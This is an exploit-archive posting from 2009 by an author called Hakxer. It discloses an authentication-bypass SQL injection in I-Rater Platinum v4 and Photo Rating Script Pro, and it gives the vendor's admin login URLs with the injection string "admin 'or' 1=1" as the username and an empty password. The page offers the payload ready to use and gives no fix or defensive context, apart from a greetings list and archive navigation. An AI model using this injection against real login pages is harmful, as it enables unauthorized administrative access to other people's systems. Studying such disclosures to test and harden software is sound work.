I-Rater Pro/Plantinum v4 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : I-Rater Pro/Plantinum v4 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-04-21
# Author : Hakxer
# Previous Title : VS PANEL 7.3.6 (Cat_ID) Remote SQL Injection Vulnerability
# Next Title : Studio Lounge Address Book 2.5 Authentication Bypass Vulnerability

################################################
###########  I-Rater Platinum V4 ###############
##### By : Hakxer
##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
########## I-Rater Platinum V4 (Auth bypass) Sql injection

poc :

http://www.i-rater.com/platinumadmin.html

in username : admin 'or' 1=1
in password :
###############################

################################################
###########  Photo Rating Script Pro ###########
##### By : Hakxer
##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
########## Photo Rating Script Pro (Auth bypass) Sql injection

poc :

http://www.i-rater.com/pro/admin/login.php

in username : admin 'or' 1=1
in password :
###############################

# www.Syue.com [2009-04-21]